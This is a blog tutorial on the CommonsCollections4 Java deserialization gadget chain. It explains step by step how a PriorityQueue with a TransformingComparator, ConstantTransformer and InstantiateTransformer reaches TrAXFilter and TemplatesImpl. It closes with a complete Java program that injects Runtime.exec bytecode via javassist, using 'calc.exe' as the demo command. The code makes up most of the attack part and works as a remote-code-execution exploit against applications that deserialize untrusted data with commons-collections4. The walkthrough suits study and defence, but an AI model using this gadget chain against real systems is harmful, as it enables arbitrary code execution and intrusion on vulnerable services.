🔗Linkedin 🐦Twitter

CommonsCollection4

Just like CommonsCollections1 and CommonsCollections3, CommonsCollections2 and CommonsCollections4 are essentially the same, with a few differences.

Instead of using only the InvokerTransformer, we use a chain of ConstantTransformer and InstantiateTransformer, and pass it to the TransformingComparator.
The rest remains the same.

So, let's jump straight into the payload and see how it works.

Since we already covered how InstantiateTransformer works in CommonsCollections3, here we'll focus on its interaction with PriorityQueue.

If you're not familiar with InstantiateTransformer, I recommend reviewing CommonsCollections2 first.

With that said, here's what the payload looks like:

Object templates = Gadgets.createTemplatesImpl(command); //1

ConstantTransformer constant = new ConstantTransformer(String.class); //2

// 3
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
        paramTypes, args);

// 4
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// 5
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

// 6
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;

Instead of using InvokerTransformer, we use InstantiateTransformer.
As you know, InstantiateTransformer takes a class and initializes it with the arguments we provide.
Why we use TrAXFilter.class (and related details) was already discussed in CC3.

Let's focus on what the code above does.

At [1] we instantiate a ConstantTransformer with String.class. Once a ConstantTransformer is created, it cannot change its return value (without reflection). So it always returns String.class.

At [3] we prepare the constructor parameter types and arguments for InstantiateTransformer and pass them in.
We choose String.class and "foo" because the InstantiateTransformer will look for a constructor on the class provided by the previous transformer (currently String.class) whose signature matches the given parameter types, and then call it with the provided arguments.
Since String has a constructor String(String), we pass "foo" as the value.

At [4] we read the fields iParamTypes and iArgs from the InstantiateTransformer (via reflection) so we can replace them with our own values later.

At [5] we create a PriorityQueue with a TransformingComparator that wraps our ChainedTransformer, and then add elements to the queue. These become the obj1 and obj2 seen in TransformingComparator.compare().

At [6] we change the constant inside ConstantTransformer from String.class to TrAXFilter.class.

Now, if we put all of the above together…


So the whole above code can look like below

  Object templates = Gadgets.createTemplatesImpl(command);
  ConstantTransformer constant = new ConstantTransformer(TrAXFilter.class);
  Class[] paramTypes = new Class[] { Templates.class };
  Object[] argst = new Object[] { templates };
  InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, argst);
  ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
  PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
  queue.add(1);
  queue.add(1);
  

Question:
How are we adding 1 into priority Queue but still achieving Code Execution?

Answer:
So whatever we add into the priorityQueue as queue.add never gets used.
So From the priorityQueue the code flows to the transFormingCompartor.compare().
Here the obj1 and obj2 are the values we pass via queue.add()
Now in the transformer.apply() , here the transformer is ChainedTransFormer, and if you see the chainedTrasformer's transform Code

      @Override
      public T transform(T object) {
          for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
              object = iTransformer.apply(object);
          }
          return object;
      }
      

So it iterates over the list , inout case its ConstantTransformer and InstantiateTransformer and calls the transForm() on them.

  •   object = iTransformer.apply(object);
      

    Even if we pass 1 via queue.add(), by the time it reaches the InstantiateTransformer it has already been replaced by TrAXFilter.class by the preceding ConstantTransformer.
    That's why it doesn't matter whether we add 1, 2, or any other value. (Note: since we're using a PriorityQueue<Object>, we can enqueue any object; if you use a typed queue, you'll be restricted by that element type.)

    With that in mind, the modified code — including TemplatesImpl creation — for the CommonsCollections4 gadget looks like this:

      import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
      import java.lang.reflect.Field;
      import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
      import javassist.ClassClassPath;
      import javassist.ClassPool;
      import javassist.CtClass;
      import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
      import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
      import java.util.PriorityQueue;
      import javax.xml.transform.Templates;
      import org.apache.commons.collections4.functors.*;
      import org.apache.commons.collections4.Transformer;
      import org.apache.commons.collections4.comparators.TransformingComparator;
      
      public class cc4 {
          public static void main(String[] args) throws Exception {
              String command = "calc.exe";
              ClassPool pool = ClassPool.getDefault();
      
              /*
               * So inside the pool.get() we can pass any random existing className , we just have to keep in mind that we call
               * clazz.makeClassInitializer().insertAfter(cmd); and  CtClass superC = pool.get(AbstractTranslet.class.getName());
               * clazz.setSuperclass(superC);
               *
               * Reason for calling the above 2 are.
               * 1.In TemplatesIMPL Class when we set the _byteCode to a bytecode of ourchoice, our bytecode must be extending the  
               * AbstractTranslet.class or else TemplatesIMPL will not execute it(Figure out why)
               */
      
              final CtClass clazz = pool.get(cc4.class.getName()); 
              String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                  command.replace("\\", "\\\\").replace("\"", "\\\"") +
                  "\");";
              clazz.makeClassInitializer().insertAfter(cmd);
              CtClass superC = pool.get(AbstractTranslet.class.getName());
              clazz.setSuperclass(superC);
              final byte[] classBytes = clazz.toBytecode();
      
              byte[] maliciousBytecode = classBytes;
      
              /*
               * Till Line 58 we are creating an Object of TemplatesIMPL class and using reflection to set the _bytecode,_name and
               * _tfactory , as these are necessary fields.
               * Why can't we use the normal getters and setters(FigureOut)
               */
      
              TemplatesImpl templates = new TemplatesImpl();
      
              Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
              bytecodesField.setAccessible(true);
              bytecodesField.set(templates, new byte[][]{maliciousBytecode});
      
              Field nameField = TemplatesImpl.class.getDeclaredField("_name");
              nameField.setAccessible(true);
              nameField.set(templates, "Exploit");
      
              Field tfacname = TemplatesImpl.class.getDeclaredField("_tfactory");
              tfacname.setAccessible(true);
              tfacname.set(templates, TransformerFactoryImpl.class.newInstance());
      
              //templates.newTransformer();
      
              ConstantTransformer constant = new ConstantTransformer(TrAXFilter.class);
              Class[] paramTypes = new Class[] { Templates.class };
              Object[] argst = new Object[] { templates };
              InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, argst);
              ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
              PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
              queue.add(1);
              queue.add(1);
          }
      }
      

    This is how the CommonsCollection4 Payload works, staring from the EntryPoint to Code Execution

    Summary:

    Thats it for Today.

    Thanks For Reading.

    Happy Hacking.

    You can connect with me at:

    Linkedin

    Twitter